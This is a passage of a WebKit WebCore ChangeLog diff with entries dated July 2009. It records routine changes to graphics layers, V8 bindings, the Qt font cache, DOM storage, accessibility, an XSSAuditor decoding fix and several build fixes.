+        (WebCore::PlaceholderDocument::attach): Sets up the style selector but
+            does not create a RenderView.
+        * loader/PlaceholderDocument.h: Added.
+        (WebCore::PlaceholderDocument::create):
+        (WebCore::PlaceholderDocument::PlaceholderDocument):
+
+2009-07-20  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        Handle opacity and opacity animations on transform layers in Leopard
+        https://bugs.webkit.org/show_bug.cgi?id=27398
+
+        This makes two changes, and only for Leopard. 
+
+        First, whenever opacity is changed on a layer I propagate the 
+        change into the content layer and all the children if the layer 
+        on which opacity is set is a transform layer (preserve3D is true). 
+        The opacity set is the accumulated opacity from this layer
+        and all its direct ancestor transform layers. Second, I turn off all 
+        hardware opacity animation.
+
+        * platform/graphics/GraphicsLayer.cpp:
+        (WebCore::GraphicsLayer::accumulatedOpacity):
+        (WebCore::GraphicsLayer::distributeOpacity):
+        * platform/graphics/GraphicsLayer.h:
+        (WebCore::GraphicsLayer::setOpacityInternal):
+        * platform/graphics/mac/GraphicsLayerCA.h:
+        * platform/graphics/mac/GraphicsLayerCA.mm:
+        (WebCore::GraphicsLayerCA::setPreserves3D):
+        (WebCore::GraphicsLayerCA::setOpacity):
+        (WebCore::GraphicsLayerCA::animateFloat):
+        (WebCore::GraphicsLayerCA::swapFromOrToTiledLayer):
+        (WebCore::GraphicsLayerCA::setOpacityInternal):
+        (WebCore::GraphicsLayerCA::updateOpacityOnLayer):
+
+2009-07-20  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by Adam Roben.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27349
+        Add GraphicsContext implementation for the WinCE port.
+
+        Written by Yong Li <yong.li@torchmobile.com>, George Staikos <george.staikos@torchmobile.com> and Lyon Chen <lyon.chen@torchmobile.com>
+        with trivial style fixes by Adam Treat <adam.treat@torchmobile.com>
+
+        * platform/graphics/wince/GraphicsContextWince.cpp: Added.
+
+2009-07-20  Dumitru Daniliuc  <dumi@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Adding the Win SQLite VFS implementation for Chromium, and stubs
+        for the Mac and Linux VFSs.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26940
+
+        * WebCore.gypi:
+        * platform/chromium/ChromiumBridge.h:
+        * platform/sql/chromium/SQLiteFileSystemChromium.cpp: Added.
+        * platform/sql/chromium/SQLiteFileSystemChromiumLinux.cpp: Added.
+        * platform/sql/chromium/SQLiteFileSystemChromiumMac.cpp: Added.
+        * platform/sql/chromium/SQLiteFileSystemChromiumWin.cpp: Added.
+
+2009-07-20  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27097
+        [Gtk] Segfault when examining an object of ROLE_TABLE via at-spi
+
+        Check that an object is a RenderObject before trying to access its
+        renderer and related node.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_get_role):
+
+2009-07-20  Balazs Kelemen  <kelemen.balazs.3@stud.u-szeged.hu>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] font cache reworking
+        https://bugs.webkit.org/show_bug.cgi?id=27265
+
+        Reimplemented Qt's FontCache in a way that follows the shared one.
+        Now we can release its elements when those became inactive.
+        FontFallbackList had been changed to be able to hold WebCore fonts in its list and to be able to release a FontData what is in the cache.
+
+        No change in behavior, so no tests.
+
+        * platform/graphics/qt/FontCacheQt.cpp:
+        (WebCore::FontPlatformDataCacheKey::FontPlatformDataCacheKey):
+        (WebCore::FontPlatformDataCacheKey::isHashTableDeletedValue):
+        (WebCore::FontPlatformDataCacheKey::): Key type for the cache of FontPlatformData objects.
+        It can be constructed from a FontPlatformData or from a FontDescription. The keys have to be consistent
+        with FontPlatformData::FontPlatformData(const FontDescription&) - if we create the same
+        FontPlatformData from two FontDescription then we have to create the same key from them, and vica versa.
+        (WebCore::FontPlatformDataCacheKey::operator==):
+        (WebCore::FontPlatformDataCacheKey::hash):
+        (WebCore::FontPlatformDataCacheKey::computeHash):
+        (WebCore::FontPlatformDataCacheKey::hashTableDeletedSize):
+        (WebCore::FontPlatformDataCacheKeyHash::hash):
+        (WebCore::FontPlatformDataCacheKeyHash::equal):
+        (WebCore::FontPlatformDataCacheKeyTraits::emptyValue):
+        (WebCore::FontPlatformDataCacheKeyTraits::constructDeletedValue):
+        (WebCore::FontPlatformDataCacheKeyTraits::isDeletedValue):
+        (WebCore::FontCache::getCachedFontPlatformData): Get a FontDescription and returns a FontPlatformData.
+        (WebCore::FontCache::getCachedFontData): Get a FontPlatformData and returns a SimpleFontData.
+        (WebCore::FontCache::releaseFontData): Get a SimpleFontData and releases it from the cache. Also releases the appropriate FontPlatformData.
+        (WebCore::FontCache::purgeInactiveFontData): Frees inactive elements.
+        (WebCore::FontCache::invalidate): Frees all inactive elements (call purgeInactiveFontData with default argument)
+        * platform/graphics/qt/FontFallbackListQt.cpp:
+        (WebCore::FontFallbackList::releaseFontData):
+        (WebCore::FontFallbackList::fontDataAt):
+        * platform/graphics/qt/FontPlatformData.h:
+        (WebCore::FontPlatformData::family): Getter. It is needed for FontPlatformDataCacheKey.
+        (WebCore::FontPlatformData::bold): Ditto.
+        (WebCore::FontPlatformData::italic): Ditto.
+        (WebCore::FontPlatformData::smallCaps): Ditto.
+        (WebCore::FontPlatformData::pixelSize): Ditto.
+        * platform/graphics/qt/FontPlatformDataQt.cpp:
+        (WebCore::FontPlatformData::FontPlatformData): Set m_bold.
+
+2009-07-20  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Holger Freyther.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26716
+        [Gtk] Each XMLHttpRequest leaks memory.
+
+        Free the SoupURI we create to check the URI. Fix suggested by John
+        Kjellberg.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::):
+
+2009-07-20  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        [Qt] On Symbian link against system sqlite3
+        https://bugs.webkit.org/show_bug.cgi?id=27368
+
+        Add an option to force linking against system sqlite3
+        by adding system-sqlite to the CONFIG variable.
+
+        The Symbian specific part of this patch is contributed by 
+        Norbert Leser.
+
+        * WebCore.pro:
+
+2009-07-20  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Change the glib version check to check for the first unstable
+        release with g_mapped_file_unref. Otherwise this would be useless
+        until 2.22 is released, a few months from now.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::ResourceHandle::startHttp):
+
+2009-07-20  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by and done with Tor Arne Vestbø.
+
+        Fix fast/css/pseudo-required-optional-*.html in the Qt build
+        after r46062.
+
+        These tests triggered a bug in RenderThemeQt where we did not fall back
+        to the unstyled painting of text areas and input fields when they have
+        a styled background.
+
+        Our re-implementation of isControlStyled incorrectly only checked the
+        border for determining whether to style or not. The base-implementation
+        performs the same check, but also includes the background. Removing
+        our implementation fixes the appearance.
+
+        * platform/qt/RenderThemeQt.cpp: Removed isControlStyled reimplementation.
+        * platform/qt/RenderThemeQt.h: Ditto.
+
+2009-07-20  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Rubber-stamped by Tor Arne Vestbø.
+
+        Add missing (sorted) header files to the HEADERS variable in the qmake
+        .pro file for improved completion in IDEs.
+
+        * WebCore.pro:
+
+2009-07-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        [V8] Factor V8ConsoleMessage out of V8Proxy
+        https://bugs.webkit.org/show_bug.cgi?id=27421
+
+        No behavior change.
+
+        * WebCore.gypi:
+        * bindings/v8/V8ConsoleMessage.cpp: Added.
+        (WebCore::V8ConsoleMessage::V8ConsoleMessage):
+        (WebCore::V8ConsoleMessage::dispatchNow):
+        (WebCore::V8ConsoleMessage::dispatchLater):
+        (WebCore::V8ConsoleMessage::processDelayed):
+        (WebCore::V8ConsoleMessage::handler):
+        * bindings/v8/V8ConsoleMessage.h: Added.
+        (WebCore::V8ConsoleMessage::Scope::Scope):
+        (WebCore::V8ConsoleMessage::Scope::~Scope):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::logInfo):
+        (WebCore::reportUnsafeAccessTo):
+        (WebCore::V8Proxy::runScript):
+        (WebCore::V8Proxy::callFunction):
+        (WebCore::V8Proxy::newInstance):
+        (WebCore::V8Proxy::initContextIfNeeded):
+        (WebCore::V8Proxy::processConsoleMessages):
+
+2009-07-19  Rob Buis  <rwlbuis@gmail.com>
+
+        Reviewed by Adam Barth.
+
+        Remove unused member variable.
+
+        * svg/SVGPolyElement.h:
+
+2009-07-19  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        HTMLAudioElement: constructor should set "autobuffer" attribute
+        https://bugs.webkit.org/show_bug.cgi?id=27422
+
+        Test: media/audio-constructor-autobuffer.html
+
+        * bindings/js/JSAudioConstructor.cpp:
+        (WebCore::constructAudio):
+            Set 'autobuffer' attribute.
+
+2009-07-19  Thierry Bastian <thierry.bastian@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix the Qt build with mingw.
+
+        * WebCore.pro: Don't use MSVC commandline options to disable warnings
+        with mingw.
+
+2009-07-19  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        [V8] Phase 2: Remove event listener methods from V8Proxy
+        https://bugs.webkit.org/show_bug.cgi?id=27415
+
+        No behavior change.
+
+        * bindings/v8/V8ObjectEventListener.cpp:
+        (WebCore::weakObjectEventListenerCallback):
+        (WebCore::V8ObjectEventListener::~V8ObjectEventListener):
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::disconnectEventListeners):
+        * bindings/v8/V8Proxy.h:
+        (WebCore::V8Proxy::eventListeners):
+        (WebCore::V8Proxy::objectListeners):
+        * bindings/v8/custom/V8AbstractWorkerCustom.cpp:
+        (WebCore::getEventListener):
+        * bindings/v8/custom/V8CustomEventListener.cpp:
+        (WebCore::V8EventListener::~V8EventListener):
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        * bindings/v8/custom/V8MessagePortCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8SVGElementInstanceCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8WorkerCustom.cpp:
+        (WebCore::getEventListener):
+        * bindings/v8/custom/V8XMLHttpRequestCustom.cpp:
+        (WebCore::getEventListener):
+        * bindings/v8/custom/V8XMLHttpRequestUploadCustom.cpp:
+        (WebCore::ACCESSOR_SETTER):
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-18  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [Gtk] soup/ResourceHandleSoup.cpp:533: error: 'g_mapped_file_free' was not declared in this scope
+        https://bugs.webkit.org/show_bug.cgi?id=27230
+
+        Use g_mapped_file_unref for GLIB version 2.22 onwards.
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::ResourceHandle::startHttp):
+
+2009-07-18  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        Add spread radius support to -webkit-box-shadow
+        https://bugs.webkit.org/show_bug.cgi?id=27417
+        rdar://problem/7072267
+
+        Test: fast/box-shadow/spread.html
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::valueForShadow): Added a property ID parameter and used it to
+            include the spread length for box-shadow but not for text-shadow.
+        (WebCore::CSSComputedStyleDeclaration::getPropertyCSSValue):
+            Pass the property ID to valueForShadow().
+
+        * css/CSSParser.cpp:
+        (WebCore::ShadowParseContext::ShadowParseContext): Added property,
+            spread, and allowSpread members. Added a property ID parameter to
+            the constructor. Initialize the property and allowSpread members.
+        (WebCore::ShadowParseContext::allowLength): Added allowSpread.
+        (WebCore::ShadowParseContext::commitValue): Pass the spread value to
+            the ShadowValue constructor. Reset allowSpread.
+        (WebCore::ShadowParseContext::commitLength): Allow spread after blur
+            for the box-shadow property.
+        (WebCore::ShadowParseContext::commitColor): Reset allowSpread.
+        (WebCore::CSSParser::parseShadow): Pass the property ID to
+            ShadowParseContext().
+
+        * css/CSSStyleSelector.cpp:
+        (WebCore::CSSStyleSelector::applyProperty): Get the spread value from
+            the shadow value and pass it to the ShadowData constructor.
+
+        * css/ShadowValue.cpp:
+        (WebCore::ShadowValue::ShadowValue): Added spread.
+        (WebCore::ShadowValue::cssText): Added spread.
+
+        * css/ShadowValue.h:
+        (WebCore::ShadowValue::create): Added spread.
+
+        * page/animation/AnimationBase.cpp:
+        (WebCore::blendFunc): Blend the spread value.
+        (WebCore::PropertyWrapperShadow::blend): Added 0 spread to the default
+            shadow.
+
+        * rendering/InlineFlowBox.cpp:
+        (WebCore::InlineFlowBox::placeBoxesHorizontally): Account for spread in
+            the visual overflow calculations.
+        (WebCore::InlineFlowBox::placeBoxesVertically): Ditto.
+        (WebCore::InlineFlowBox::paint): Ditto.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::overflowHeight): Ditto.
+        (WebCore::RenderBlock::overflowWidth): Ditto.
+        (WebCore::RenderBlock::overflowLeft): Ditto.
+        (WebCore::RenderBlock::overflowTop): Ditto.
+        (WebCore::RenderBlock::overflowRect): Ditto.
+        (WebCore::RenderBlock::layoutBlock): Ditto.
+
+        * rendering/RenderBoxModelObject.cpp:
+        (WebCore::RenderBoxModelObject::paintBoxShadow): Inflate the shadow-
+            casting rect by the shadow spread value. Adjust border radii if
+            necessary.
+
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::RenderFlexibleBox::layoutBlock): Account for spread in the
+            visual overflow calculations.
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::calculateRects): Ditto.
+
+        * rendering/RenderObject.cpp:
+        (WebCore::RenderObject::repaintAfterLayoutIfNeeded): Account for spread.
+        (WebCore::RenderObject::adjustRectForOutlineAndShadow): Ditto.
+
+        * rendering/RenderReplaced.cpp:
+        (WebCore::RenderReplaced::adjustOverflowForBoxShadowAndReflect): Ditto.
+
+        * rendering/style/RenderStyle.cpp:
+        (WebCore::RenderStyle::setTextShadow): Assert that text shadows do not
+            have spread.
+
+        * rendering/style/ShadowData.cpp:
+        (WebCore::ShadowData::ShadowData): Added spread.
+        (WebCore::ShadowData::operator==): Compare spread.
+        * rendering/style/ShadowData.h:
+        (WebCore::ShadowData::ShadowData): Added spread.
+
+2009-07-18  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Jan Alonzo.
+
+        Minor FrameLoader.cpp cleanup
+        https://bugs.webkit.org/show_bug.cgi?id=27406
+
+        No behavior change.
+
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::executeIfJavaScriptURL):
+
+2009-07-18  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Darin Fisher.
+
+        [V8] Move event listener methods from V8Proxy to V8EventListenerList
+        https://bugs.webkit.org/show_bug.cgi?id=27408
+
+        Move some event listener code out of V8Proxy and into the event
+        listener list.
+
+        I'd like to remove these methods from V8Proxy entirely and just expose
+        getters for the lists themselves, but I'll do that in a follow up
+        patch.
+
+        * bindings/v8/V8EventListenerList.cpp:
+        (WebCore::V8EventListenerList::findWrapper):
+        * bindings/v8/V8EventListenerList.h:
+        (WebCore::V8EventListenerList::findOrCreateWrapper):
+        * bindings/v8/V8ObjectEventListener.cpp:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::findV8EventListener):
+        (WebCore::V8Proxy::findOrCreateV8EventListener):
+        (WebCore::V8Proxy::removeV8EventListener):
+        (WebCore::V8Proxy::findObjectEventListener):
+        (WebCore::V8Proxy::findOrCreateObjectEventListener):
+        (WebCore::V8Proxy::removeObjectEventListener):
+        * bindings/v8/V8Proxy.h:
+
+2009-07-18  Jeremy Orlow  <jorlow@chromium.org>
+
+        Rubber stamped by Adam Barth.
+
+        Revert https://bugs.webkit.org/show_bug.cgi?id=27383
+        https://bugs.webkit.org/show_bug.cgi?id=27407
+
+        Revert Jens' patch.  I believe he forgot to include a file.
+
+        * WebCore.gypi:
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/DOMObjectsInclude.h:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::getTemplate):
+        * bindings/v8/V8DataGridDataSource.cpp: Removed.
+        * bindings/v8/V8DataGridDataSource.h: Removed.
+        * bindings/v8/V8GCController.h:
+        * bindings/v8/V8Index.h:
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+
+2009-07-17  Daniel Bates  <dbates@intudata.com>
+
+        Reviewed by Adam Barth.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=27405
+
+        Fixes an issue when decoding HTML entities with an unknown named entity that 
+        caused null-characters to be inserted into the decoded result.
+
+        Test: http/tests/security/xssAuditor/link-onclick-ampersand.html
+              http/tests/security/xssAuditor/javascript-link-ampersand.html
+
+        * page/XSSAuditor.cpp:
+        (WebCore::XSSAuditor::decodeHTMLEntities): Added check to conditional so that
+        non-zero entity values are not inserted during decoding process.
+
+2009-07-17  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        <http://webkit.org/b/18363> [GTK] Combo boxes cannot be opened pressing space
+
+        Reviewed by Holger Freyther.
+
+        Add Gtk to platforms that want to open the menulist using the
+        spacebar.
+
+        * dom/SelectElement.cpp:
+        (WebCore::SelectElement::menuListDefaultEventHandler):
+
+2009-07-17  Mario Sanchez Prada  <msanchez@igalia.com>
+
+        Reviewed by Jan Alonzo.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25523
+        [GTK] The text displayed by push buttons is not exposed to assistive technologies
+
+        Add new public method text() to RenderButton and use it from
+        AccessibilityRenderObject::stringValue().
+
+        * accessibility/AccessibilityRenderObject.cpp:
+        (WebCore::AccessibilityRenderObject::stringValue):
+        * rendering/RenderButton.cpp:
+        (WebCore::RenderButton::text):
+        * rendering/RenderButton.h:
+
+2009-07-17  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Restore proxy retrieval
+        https://bugs.webkit.org/show_bug.cgi?id=27369
+
+        No new tests are needed.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::instantiateV8Object):
+
+2009-07-17  Yael Aharon  <yael.aharon@nokia.com>
+
+        Reviewed by George Staikos.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27351
+        Added platform "Symbian" to WEBCORE_NAVIGATOR_PLATFORM
+        Use uname to find the correct platform for Linux.
+
+        * page/NavigatorBase.cpp:
+        (WebCore::NavigatorBase::platform):
+
+2009-07-17  Jens Alfke  <snej@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Hook up V8 bindings for DataGrid elements.
+        https://bugs.webkit.org/show_bug.cgi?id=27383
+        http://code.google.com/p/chromium/issues/detail?id=16730
+
+        Tests: Enhanced LayoutTests/fast/dom/HTMLDataGridElement/*
+        to handle exceptions, check appropriate JS prototypes, and
+        test column-list's item() method as well as array-indexing.
+
+        * WebCore.gypi: Added new source files.
+        * bindings/scripts/CodeGeneratorV8.pm: Made GenerateBatchedAttributeData put #if's around conditional attributes.
+        * bindings/v8/DOMObjectsInclude.h: #include DataGrid headers.
+        * bindings/v8/V8DOMWrapper.cpp: Add bindings from HTML tags to datagrid templates.
+        (WebCore::V8DOMWrapper::getTemplate): Customize datagrid template.
+        * bindings/v8/V8DataGridDataSource.cpp: Added. (Based on JSDataGridDataSource)
+        (WebCore::V8DataGridDataSource::V8DataGridDataSource):
+        (WebCore::V8DataGridDataSource::~V8DataGridDataSource):
+        * bindings/v8/V8DataGridDataSource.h: Added. (Based on JSDataGridDataSource)
+        (WebCore::V8DataGridDataSource::create):
+        (WebCore::V8DataGridDataSource::isJSDataGridDataSource):
+        (WebCore::V8DataGridDataSource::jsDataSource):
+        (WebCore::asV8DataGridDataSource):
+        * bindings/v8/V8GCController.h: Added new handle type "DATASOURCE".
+        * bindings/v8/V8Index.h: Conditionalize datagrid stuff.
+        * bindings/v8/custom/V8CustomBinding.h: Declare more accessors. Conditionalize.
+        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp: Fill in dataSource accessors.
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+
+2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        StorageArea should only contain methods we intend to proxy.
+        https://bugs.webkit.org/show_bug.cgi?id=27181
+
+        Right now, StorageAreaSync takes in a StorageArea* and calls methods
+        like importItem.  Really, StorageAreaSync should be operating directly
+        on StorageAreaImpl* and those methods should be removed from StorageArea
+        since StorageAreaSync should never be attached to anything other than a
+        StorageAreaImpl.
+
+        This was pointed out in the review for
+        https://bugs.webkit.org/show_bug.cgi?id=27072
+
+        Also clean up StorageNamespaceImpl to operate directly on
+        StorageAreaImpl.  Also, get rid of the factory for StorageArea
+        since nothing should ever create a StorageArea directly.
+
+        * GNUmakefile.am:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * storage/StorageArea.cpp: Removed.
+        * storage/StorageArea.h:
+        (WebCore::StorageArea::~StorageArea):
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::copy):
+        * storage/StorageAreaImpl.h:
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::create):
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        * storage/StorageAreaSync.h:
+        * storage/StorageNamespaceImpl.cpp:
+        (WebCore::StorageNamespaceImpl::copy):
+        (WebCore::StorageNamespaceImpl::storageArea):
+        * storage/StorageNamespaceImpl.h:
+
+2009-07-17  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        Add v8 implementation for DOM Storage ScriptObjectQuarantine.
+        https://bugs.webkit.org/show_bug.cgi?id=27327
+
+        Wrap the storage object with a generic object as is done elsewhere in
+        the file (but continue to hit a NOTIMPLEMENTED if DOM_STORAGE is not
+        enabled.
+
+        * bindings/v8/ScriptObjectQuarantine.cpp:
+        (WebCore::getQuarantinedScriptObject):
+
+2009-07-17  Mads Ager  <ager@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27394
+        Fix access to global object wrappers after navigation of their
+        frame in the V8 bindings.  This fixes selenium test failures.
+
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::updateDocument):
+
+2009-07-17  Mark Rowe  <mrowe@apple.com>
+
+        Fix the 32-bit build by removing implicit float <-> double conversions.
+
+        * inspector/InspectorController.cpp:
+        (WebCore::constrainedAttachedWindowHeight):
+
+2009-07-17  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Fix of <rdar://problem/5712795> Win: Cannot change the height of the docked Web Inspector (14272)
+        https://bugs.webkit.org/show_bug.cgi?id=14272
+        
+        Moved preference setting for attached inspector height and inspector height calculation from
+        WebInspectorClient.mm into InspectorController.cpp, to make this code cross-platform and enable
+        Windows resizing of attached inspector.
+
+        * inspector/InspectorController.cpp:
+        * inspector/InspectorController.h:
+
+2009-07-17  Dan Bernstein  <mitz@apple.com>
+
+        Another attempt at fixing the build after r46063
+
+        * WebCore.xcodeproj/project.pbxproj: Made ExceptionCode.h a private
+            header, because it is now included from htmlediting.h, which is
+            a private header.
+
+2009-07-17  Alexey Proskuryakov  <ap@webkit.org>
+
+        Reviewed by Dan Bernstein.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27396
+        Moving cursor in Thai text sometimes jumps over two characters
+
+        Test: editing/text-iterator/thai-cursor-movement.html
+
+        * platform/text/TextBreakIteratorICU.cpp: (WebCore::cursorMovementIterator): Added a special
+        case for five Thai characters, matching ICU/CLDR changes.
+
+2009-07-14  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        Some constructor objects exposed on Window have the wrong prototype chain
+        https://bugs.webkit.org/show_bug.cgi?id=27276
+
+        Several Constructor classes were already being passed a global object
+        during construction, but they were ignoring it for prototype lookup.
+        I've fixed those to use the passed global object instead.
+
+        Most of these Constructor classes should just be auto-generated, but I
+        refrained from changing them over to auto-gen in this patch.
+
+        Fixed CodeGeneratorJS to pass a global object to getDOMConstructor when
+        available, otherwise default to deprecatedGlobalObjectForPrototype(exec)
+        to match existing behavior.
+
+        Test: fast/dom/prototype-inheritance.html
+
+        * bindings/js/JSAudioConstructor.cpp:
+        (WebCore::JSAudioConstructor::JSAudioConstructor): use the existing globalObject pointer for prototype lookup
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::deprecatedGlobalObjectForPrototype): Make it easy to detect where the wrong global object is being used.
+        (WebCore::deprecatedGetDOMStructure):
+        * bindings/js/JSDOMGlobalObject.h: remove error-prone getDOMConstructor, require passing JSDOMGlobalObject*
+        * bindings/js/JSDOMWindowCustom.cpp:
+        (WebCore::JSDOMWindow::webKitPoint): pass "this" for the global object.
+        (WebCore::JSDOMWindow::webKitCSSMatrix): pass "this" for the global object.
+        (WebCore::JSDOMWindow::xsltProcessor): pass "this" for the global object.
+        (WebCore::JSDOMWindow::worker): pass "this" for the global object.
+        * bindings/js/JSImageConstructor.cpp:
+        (WebCore::JSImageConstructor::JSImageConstructor): use the existing globalObject pointer for prototype lookup
+        * bindings/js/JSMessageChannelConstructor.cpp:
+        (WebCore::JSMessageChannelConstructor::JSMessageChannelConstructor): use the existing globalObject pointer for prototype lookup
+        * bindings/js/JSOptionConstructor.cpp:
+        (WebCore::JSOptionConstructor::JSOptionConstructor): use the existing globalObject pointer for prototype lookup
+        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
+        (WebCore::JSWebKitCSSMatrixConstructor::JSWebKitCSSMatrixConstructor): add new globalObject parameter and use it
+        * bindings/js/JSWebKitCSSMatrixConstructor.h:
+        * bindings/js/JSWebKitPointConstructor.cpp:
+        (WebCore::JSWebKitPointConstructor::JSWebKitPointConstructor): add new globalObject parameter and use it
+        * bindings/js/JSWebKitPointConstructor.h:
+        * bindings/js/JSWorkerConstructor.cpp:
+        (WebCore::JSWorkerConstructor::JSWorkerConstructor): add new globalObject parameter and use it
+        * bindings/js/JSWorkerConstructor.h:
+        * bindings/js/JSXMLHttpRequestConstructor.cpp:
+        (WebCore::JSXMLHttpRequestConstructor::JSXMLHttpRequestConstructor): use the existing globalObject pointer for prototype lookup
+         -- XMLHttpRequest constructor was also missing a length.  Added one.
+        * bindings/js/JSXSLTProcessorConstructor.cpp:
+        (WebCore::JSXSLTProcessorConstructor::JSXSLTProcessorConstructor):
+        * bindings/js/JSXSLTProcessorConstructor.h:
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-07-17  Dan Bernstein  <mitz@apple.com>
+
+        Build fix
+
+        * editing/htmlediting.cpp:
+        (WebCore::visiblePositionBeforeNode):
+        (WebCore::visiblePositionAfterNode):
+
+2009-07-17  Jan Michael Alonzo  <jmalonzo@webkit.org>
+
+        Gtk build fix for symbol lookup error.
+
+        Move AbstractWorker from SHARED_WORKERS to WORKERS as Worker derives from it now
+        Changed in http://trac.webkit.org/changeset/46048
+
+        * GNUmakefile.am:
+
+2009-07-17  Ryosuke Niwa  <ryosuke.niwa@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        htmlediting.cpp needs more utility functions to fix the bug 26816
+        https://bugs.webkit.org/show_bug.cgi?id=27038
+
+        In order to fix the bug 26816, we need several utility functions be added to htmlediting.cpp
+
+        No tests because functions haven't been used anywhere yet.
+
+        * dom/Range.cpp:
+        (WebCore::Range::create):
+        (WebCore::Range::comparePoint): added const qualifier
+        (WebCore::Range::compareNode): added const qualifier
+        * dom/Range.h:
+        * editing/htmlediting.cpp:
+        (WebCore::unsplittableElementForPosition): find the enclosing unsplittable element (editing root & table cell)
+        (WebCore::positionBeforeNode): added ASSERT(node)
+        (WebCore::positionAfterNode): added ASSERT(node)
+        (WebCore::visiblePositionBeforeNode):
+        (WebCore::visiblePositionAfterNode):
+        (WebCore::createRange): create a range object from two visible positions
+        (WebCore::extendRangeToWrappingNodes): extend range to include nodes that starts and ends at the boundaries
+        (WebCore::canMergeLists): typo
+        (WebCore::indexForVisiblePosition): added const qualifier
+        (WebCore::isVisiblyAdjacent): typo
+        (WebCore::isNodeVisiblyContainedWithin): determine if a node is inside a range or within the visible boundaries of the range
+        * editing/htmlediting.h:
+
+2009-07-17  Michelangelo De Simone  <micdesim@gmail.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25551
+        Added support for the "required" attribute, the valueMissing flag
+        to the ValidityState object and :required/:optional CSS pseudoclasses.
+        Part of HTML5 sec. Forms specs.
+        http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#attr-input-required
+
+        Tests: fast/css/pseudo-required-optional-001.html
+               fast/css/pseudo-required-optional-002.html
+               fast/css/pseudo-required-optional-003.html
+               fast/css/pseudo-required-optional-004.html
+               fast/css/pseudo-required-optional-005.html
+               fast/css/pseudo-required-optional-006.html
